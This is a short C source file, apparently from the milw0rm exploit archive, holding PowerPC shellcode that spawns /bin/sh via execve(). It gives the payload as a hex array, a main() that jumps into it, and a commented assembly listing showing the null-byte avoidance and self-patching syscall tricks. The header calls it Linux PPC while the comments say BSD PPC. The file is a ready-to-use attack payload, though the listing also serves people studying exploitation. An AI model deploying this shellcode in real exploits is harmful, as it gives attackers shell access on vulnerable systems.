74 lines
No EOL
2.1 KiB
C
74 lines
No EOL
2.1 KiB
C
/*
|
|
* Linux PPC shellcode
|
|
* execve() of /bin/sh by Palante
|
|
*/
|
|
|
|
long shellcode[] = { /* Palante's BSD PPC shellcode w/ NULL*/
|
|
0x7CC63278, 0x2F867FFF, 0x41BC005C, 0x7C6802A6,
|
|
0xB0C3FFF9, 0xB0C3FFF1, 0x38867FF0, 0x38A67FF4,
|
|
0x38E67FF3, 0x7CA52278, 0x7CE72278, 0x7C853A14,
|
|
0x7CC419AE, 0x7C8429D6, 0x7C842214, 0x7C043A14,
|
|
0x7CE72850, 0x7C852A14, 0x7C63212E, 0x7C832214,
|
|
0x7CC5212E, 0x7CA52A78, 0x44FFFF02, 0x7CE03B78,
|
|
0x44FFFF02, 0x4BFFFFA9, 0x2F62696E, 0x2F73685A,
|
|
0xFFFFFFFF, 0xFFFFFFFF
|
|
};
|
|
|
|
|
|
void main()
|
|
{
|
|
__asm__("b shellcode");
|
|
}
|
|
|
|
/* disassembly
|
|
|
|
.section ".text" # Palante's BSD PPC shellcode
|
|
.align 2
|
|
.globl m
|
|
.type m,@function
|
|
m:
|
|
xor 6,6,6 # r6 is 0
|
|
cmpi 7,0,6,0x7FFF # do meaningless compare
|
|
bc 13,28,L2 # conditional branch to L2 # CAUSES NULL BYTE
|
|
L1: mfspr 3,8 # address of /bin/sh into r3 (execve parameter)
|
|
|
|
sth 6,-7(3) # fix sc opcode
|
|
sth 6,-15(3) # fix sc opcode
|
|
|
|
addi 4,6,0x7FF0
|
|
addi 5,6,0x7FF4
|
|
addi 7,6,0x7FF3
|
|
xor 5,5,4 #got 0x4 into r5
|
|
xor 7,7,4 #got 0x3 into r7
|
|
|
|
|
|
add 4,5,7 # r4 = 0x7
|
|
stbx 6,4,3 # store null after /bin/sh
|
|
|
|
mullw 4,4,5 # r4 = 0x1c (28)
|
|
add 4,4,4 # r4 = 0x38 (56)
|
|
add 0,4,7 # this makes 59 which is the execve system call
|
|
|
|
sub 7,5,7 # r7 = 0x1 for exit system call
|
|
|
|
add 4,5,5 # r4 = 0x8
|
|
stwx 3,3,4 # and store pointer to /bin/sh at r3+0x8
|
|
add 4,3,4 # r4 = r3 + 0x8 (execve parameter)
|
|
stwx 6,5,4 # store NULL pointer
|
|
xor 5,5,5 # NULL (execve parameter)
|
|
.long 0x44ffff02 # not quite an sc opcode
|
|
or 0,7,7 # syscall 1 - exit
|
|
.long 0x44ffff02 # not quite an sc opcode
|
|
|
|
L2: bl L1 # branch and link back to L1
|
|
.long 0x2F62696E #/bin/shZ
|
|
.long 0x2F73685A
|
|
.long 0xffffffff # this is where pointer to /bin/sh goes
|
|
.long 0xffffffff # this is where null pointer goes
|
|
|
|
.Lfe1:
|
|
.size m,.Lfe1-m
|
|
|
|
*/
|
|
|
|
// milw0rm.com [2004-09-26]
|